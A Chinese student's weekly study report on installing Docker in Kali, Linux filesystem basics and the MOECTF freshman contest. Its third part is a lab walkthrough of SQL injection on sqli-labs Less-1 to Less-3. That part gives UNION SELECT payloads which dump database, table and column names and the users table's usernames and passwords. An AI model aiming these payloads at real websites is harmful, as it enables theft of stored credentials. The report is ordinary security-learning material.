第二周学习周报(2026.9.21 - 2026.9.26)
本周主线:Docker 安装与环境配置 → Linux 文件系统基础 → SQL 注入实战(sqli-labs Less-1~3)
目录
- 一、Docker 安装与环境配置
- 1. 安装位置选择
- 2. 安装命令
- 3. 镜像加速器配置
- 4. Docker 基本操作
- 5. 踩坑记录
- 二、搞懂 Linux 文件系统
- 三、实践内容
- 1. Docker 环境配置
- 2. SQL 注入基础流程(Less-1 ~ Less-3)
- 3. MOECTF 2026 新生赛
一、Docker 安装与环境配置
1. 安装位置选择
有 VMware + Kali 的情况下,Docker 装 Kali 里,不装 Windows 主机。理由:
- Kali 是后续打靶场、跑渗透工具的主战场,Docker 装在里面环境统一。
- 不需要额外装 WSL 2 后端,少一层麻烦。
- 有快照功能,装崩了能一键回滚。
2. 安装命令
sudoaptupdatesudoaptinstall-ydocker.iosudosystemctlenabledocker--nowsudousermod-aGdocker$USER注意:
usermod加组后必须注销重登,之后docker命令才不用加sudo。
3. 镜像加速器配置
国内直连 Docker Hub 基本拉不动,需要配镜像源。编辑/etc/docker/daemon.json:
{"registry-mirrors":["https://docker.m.daocloud.io"]}保存后重启服务:
sudosystemctl daemon-reloadsudosystemctl restartdocker4. Docker 基本操作
常用命令
dockerrun hello-world# 跑一个测试容器dockerrun-itubuntubash# 拉 Ubuntu 镜像并进入容器dockerps# 看正在运行的容器dockerps-a# 看所有容器(含已停止的)dockerimages# 看本地已有镜像dockerrm<容器ID># 删除容器dockerrmi<镜像ID># 删除镜像进入容器后的验证
ls# 查看目录结构pwd# 查看当前路径cat/etc/os-release# 查看系统版本whoami# 查看当前用户exit# 退出容器进入容器后提示符会变成
root@<容器ID>:/#,跟宿主机的 Kali 提示符区分开。
容器与镜像的区别
- 镜像:模板,只读,拉一次可以反复用。
- 容器:镜像跑起来的实例,可以启停、删除。
- 删容器不删镜像,下次还能秒开新容器。
5. 踩坑记录
- Docker 默认不走系统代理:浏览器能打开 GitHub,不代表 Docker 能拉镜像。需要在
daemon.json里配镜像源,或单独给 Docker 配代理。 - 权限问题:不加
sudo报permission denied,说明用户没加进docker组,需要usermod+ 注销重登。 - 国内网络环境:Docker Hub 拉镜像经常超时,配国内镜像加速器是标配操作。
fcitx与fcitx5区分:Kali 里装的是 fcitx4,启动命令是fcitx,不是fcitx5,输错命令会报command-not-found。
二、搞懂 Linux 文件系统
摘自《北京大学计算机基础能力手册》
Linux 认为什么都是文件,于是,Linux 的根目录/就成了所有文件的起点。
Linux 使用/作为分隔符,可以使用/来表示根目录,使用..来表示上一级目录,使用./来表示当前目录。需要注意的,Linux 的文件系统是区分大小写的。
/usr/local/bin目录通常会被包含在PATH变量中。
可以使用ls -l命令来查看文件的权限。
常见权限标识符含义:
| 权限 | 含义 | 常用场景 |
|---|---|---|
755 | 你自己能读写执行,别人只能读和执行 | 可执行文件、目录常用 |
644 | 你自己能读写,别人只能读 | 普通文件常用 |
700 | 只有你自己能读写执行,别人什么都干不了 | 私密文件、SSH 密钥常用 |
⚠️
chmod 777 -R /会导致系统所有成员全部被视同 root 用户,进而导致系统无法正常工作。
一般的文件类型只有三个:普通文件、目录和链接文件。
Linux 系统文件主要目录:
/bin:包含系统启动和运行所需的基本命令和工具。在现代的 Linux 架构下,/bin目录通常是/usr/bin的符号链接,实际的可执行文件都放在/usr/bin目录下,这是为了简化文件系统结构和维护而做出的调整。/sbin:包含系统管理员使用的命令和工具。同样的,现在通常直接链接到/usr/bin目录。/usr:包含用户安装的软件和库文件。/var:包含可变数据,如日志文件、邮件等。/lib:包含系统运行所需的共享库文件。出于和/bin和/sbin目录一样的原因,现在通常直接链接到/usr/lib目录。/home:包含用户的个人目录。/etc:包含系统配置文件。/dev:包含设备文件,表示系统中的硬件设备。/proc:包含系统进程和内核信息的虚拟文件系统。/tmp:包含临时文件,系统重启后会被清空。/opt:这是特殊的软件包安装目录,通常用于安装第三方软件。这些软件一般不会依赖于系统的其他部分,因此被放在这个目录下,以避免与系统文件发生冲突。/mnt:挂载点,通常用于挂载外部设备或分区。当我们需要访问一个新的分区或者设备时,可以在/mnt目录下创建一个新的目录来挂载它。
所有的 Linux 根目录基本都长这样,只多不少。
如果进入/dev,我们会发现很多有意思的文件(其实都是"设备")。
关于用户切换:
在终端内使用su命令即可以超级用户开启以该用户为身份的 shell。
sudo是"以超级用户身份运行命令"的意思。通过sudo,我们可以授权某些用户以超级用户的身份执行特定命令,而不需要直接使用 root 账户。
三、实践内容
1. Docker 环境配置
拉取靶场镜像
dockerrun-d-p8080:80 acgpiano/sqli-labs配置 Docker 代理(解决拉取超时)
由于 Docker 默认不走系统代理,直接拉取 Docker Hub 镜像会超时。需手动配置代理,且代理地址应指向宿主机 IP(非127.0.0.1):
[Service] Environment="HTTP_PROXY=http://192.168.xxx.1:7890" Environment="HTTPS_PROXY=http://192.168.xxx.1:7890"配置后需systemctl daemon-reload并重启 Docker。
2. SQL 注入基础流程(Less-1 ~ Less-3)
核心思路:判断闭合方式 → 判断列数 → 找回显位 → 爆库/表/列/数据。
Less-1:单引号闭合
- 判断注入点:
?id=1'报错,确认字符型注入。 - 判断列数:
ORDER BY 3正常,ORDER BY 4报错,确认 3 列。 - 找回显位:
?id=-1' UNION SELECT 1,2,3--+,第 2、3 列回显。 - 爆数据:
UNIONSELECT1,database(),version()UNIONSELECT1,2,group_concat(table_name)FROMinformation_schema.tablesWHEREtable_schema='security'UNIONSELECT1,2,group_concat(column_name)FROMinformation_schema.columnsWHEREtable_name='users'UNIONSELECT1,group_concat(username),group_concat(password)FROMusersLess-2:数字型注入
- 区别:参数无引号包裹,不需要闭合符号。
- 判断方式:
?id=1 AND 1=1正常,?id=1 AND 1=2无回显。 - 后续流程:与 Less-1 完全一致(列数 3,回显位 2、3)。
Less-3:单引号 + 括号闭合
- 判断闭合:
?id=1'报错信息中出现'1''),推断原 SQL 为id=('1')。 - 正确闭合:
?id=1') --+ - 后续流程:与 Less-1 一致,payload 改为
?id=-1') UNION SELECT ...
踩坑记录
- Docker 代理不生效:配置
127.0.0.1指向的是容器自身,必须改成宿主机 IP(192.168.xxx.1)。 - VPN 需开启"允许局域网":否则 Kali 无法访问宿主机代理端口。
--+的作用:--是 SQL 注释符,+在 URL 中代表空格,用于注释掉原 SQL 剩余部分。ORDER BY用途:按第几列排序,数字超过实际列数会报错,可用来判断列数。
3. MOECTF 2026 新生赛
本周参加了 MOECTF 2026 新生赛,完成了签到、nc/ssh 工具使用、源码泄露等基础题目,熟悉了 CTF 平台的操作流程和工具链。
详细内容由于比赛规则限制不再阐述。